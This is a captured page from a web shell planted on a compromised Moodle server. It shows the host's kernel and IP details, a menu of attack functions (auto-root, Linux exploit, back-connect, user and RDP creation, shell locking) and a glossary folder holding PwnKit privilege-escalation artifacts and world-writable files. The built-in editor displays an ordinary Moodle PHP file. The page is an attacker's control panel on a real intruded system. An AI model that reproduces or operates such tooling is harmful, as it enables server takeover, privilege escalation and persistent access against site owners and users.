Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
glossary /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
classes
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
formats
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
README.txt
1.7
KB
-rwxrwxrwx
TODO.txt
607
B
-rwxrwxrwx
approve.php
2.22
KB
-rwxrwxrwx
deleteentry.php
5.93
KB
-rwxrwxrwx
edit.php
4.03
KB
-rwxrwxrwx
edit_form.php
6.72
KB
-rwxrwxrwx
editcategories.html
3.29
KB
-rwxrwxrwx
editcategories.php
10.82
KB
-rwxrwxrwx
export.php
2.62
KB
-rwxrwxrwx
exportentry.php
4.36
KB
-rwxrwxrwx
formats.php
9.5
KB
-rwxrwxrwx
import.php
15.35
KB
-rwxrwxrwx
import_form.php
1.14
KB
-rwxrwxrwx
index.php
4.34
KB
-rwxrwxrwx
lib.php
157.28
KB
-rwxrwxrwx
locallib.php
29.11
KB
-rwxrwxrwx
mod_form.php
10.57
KB
-rwxrwxrwx
print.php
6.89
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
rsslib.php
7.79
KB
-rwxrwxrwx
settings.php
3.82
KB
-rwxrwxrwx
showentry.php
3.12
KB
-rwxrwxrwx
showentry_ajax.php
3.77
KB
-rwxrwxrwx
sql.php
3.83
KB
-rwxrwxrwx
styles.css
2.5
KB
-rwxrwxrwx
tabs.php
3.86
KB
-rwxrwxrwx
upgrade.txt
1.1
KB
-rwxrwxrwx
version.php
1.2
KB
-rwxrwxrwx
view.php
19.33
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : deleteentry.php
<?php require_once("../../config.php"); require_once("lib.php"); $id = required_param('id', PARAM_INT); // course module ID $confirm = optional_param('confirm', 0, PARAM_INT); // commit the operation? $entry = optional_param('entry', 0, PARAM_INT); // entry id $prevmode = required_param('prevmode', PARAM_ALPHA); $hook = optional_param('hook', '', PARAM_CLEAN); $url = new moodle_url('/mod/glossary/deleteentry.php', array('id'=>$id,'prevmode'=>$prevmode)); if ($confirm !== 0) { $url->param('confirm', $confirm); } if ($entry !== 0) { $url->param('entry', $entry); } if ($hook !== '') { $url->param('hook', $hook); } $PAGE->set_url($url); $strglossary = get_string("modulename", "glossary"); $strglossaries = get_string("modulenameplural", "glossary"); $stredit = get_string("edit"); $entrydeleted = get_string("entrydeleted","glossary"); if (! $cm = get_coursemodule_from_id('glossary', $id)) { print_error("invalidcoursemodule"); } if (! $course = $DB->get_record("course", array("id"=>$cm->course))) { print_error('coursemisconf'); } if (! $entry = $DB->get_record("glossary_entries", array("id"=>$entry))) { print_error('invalidentry'); } // Permission checks are based on the course module instance so make sure it is correct. if ($cm->instance != $entry->glossaryid) { print_error('invalidentry'); } require_login($course, false, $cm); $context = context_module::instance($cm->id); $manageentries = has_capability('mod/glossary:manageentries', $context); if (! $glossary = $DB->get_record("glossary", array("id"=>$cm->instance))) { print_error('invalidid', 'glossary'); } $strareyousuredelete = get_string("areyousuredelete","glossary"); if (($entry->userid != $USER->id) and !$manageentries) { // guest id is never matched, no need for special check here print_error('nopermissiontodelentry'); } $ineditperiod = ((time() - $entry->timecreated < $CFG->maxeditingtime) || $glossary->editalways); if (!$ineditperiod and !$manageentries) { print_error('errdeltimeexpired', 'glossary'); } /// If data submitted, then process and store. if ($confirm and confirm_sesskey()) { // the operation was confirmed. // if it is an imported entry, just delete the relation $origentry = fullclone($entry); if ($entry->sourceglossaryid) { if (!$newcm = get_coursemodule_from_instance('glossary', $entry->sourceglossaryid)) { print_error('invalidcoursemodule'); } $newcontext = context_module::instance($newcm->id); $entry->glossaryid = $entry->sourceglossaryid; $entry->sourceglossaryid = 0; $DB->update_record('glossary_entries', $entry); // move attachments too $fs = get_file_storage(); if ($oldfiles = $fs->get_area_files($context->id, 'mod_glossary', 'attachment', $entry->id)) { foreach ($oldfiles as $oldfile) { $file_record = new stdClass(); $file_record->contextid = $newcontext->id; $fs->create_file_from_storedfile($file_record, $oldfile); } $fs->delete_area_files($context->id, 'mod_glossary', 'attachment', $entry->id); $entry->attachment = '1'; } else { $entry->attachment = '0'; } $DB->update_record('glossary_entries', $entry); } else { $fs = get_file_storage(); $fs->delete_area_files($context->id, 'mod_glossary', 'attachment', $entry->id); $DB->delete_records("comments", array('itemid'=>$entry->id, 'commentarea'=>'glossary_entry', 'contextid'=>$context->id)); $DB->delete_records("glossary_alias", array("entryid"=>$entry->id)); $DB->delete_records("glossary_entries", array("id"=>$entry->id)); // Update completion state $completion = new completion_info($course); if ($completion->is_enabled($cm) == COMPLETION_TRACKING_AUTOMATIC && $glossary->completionentries) { $completion->update_state($cm, COMPLETION_INCOMPLETE, $entry->userid); } //delete glossary entry ratings require_once($CFG->dirroot.'/rating/lib.php'); $delopt = new stdClass; $delopt->contextid = $context->id; $delopt->component = 'mod_glossary'; $delopt->ratingarea = 'entry'; $delopt->itemid = $entry->id; $rm = new rating_manager(); $rm->delete_ratings($delopt); } // Delete cached RSS feeds. if (!empty($CFG->enablerssfeeds)) { require_once($CFG->dirroot.'/mod/glossary/rsslib.php'); glossary_rss_delete_file($glossary); } core_tag_tag::remove_all_item_tags('mod_glossary', 'glossary_entries', $origentry->id); $event = \mod_glossary\event\entry_deleted::create(array( 'context' => $context, 'objectid' => $origentry->id, 'other' => array( 'mode' => $prevmode, 'hook' => $hook, 'concept' => $origentry->concept ) )); $event->add_record_snapshot('glossary_entries', $origentry); $event->trigger(); // Reset caches. if ($entry->usedynalink and $entry->approved) { \mod_glossary\local\concept_cache::reset_glossary($glossary); } redirect("view.php?id=$cm->id&mode=$prevmode&hook=$hook"); } else { // the operation has not been confirmed yet so ask the user to do so $PAGE->navbar->add(get_string('delete')); $PAGE->set_title($glossary->name); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); $areyousure = "<b>".format_string($entry->concept)."</b><p>$strareyousuredelete</p>"; $linkyes = 'deleteentry.php'; $linkno = 'view.php'; $optionsyes = array('id'=>$cm->id, 'entry'=>$entry->id, 'confirm'=>1, 'sesskey'=>sesskey(), 'prevmode'=>$prevmode, 'hook'=>$hook); $optionsno = array('id'=>$cm->id, 'mode'=>$prevmode, 'hook'=>$hook); echo $OUTPUT->confirm($areyousure, new moodle_url($linkyes, $optionsyes), new moodle_url($linkno, $optionsno)); echo $OUTPUT->footer(); }
Close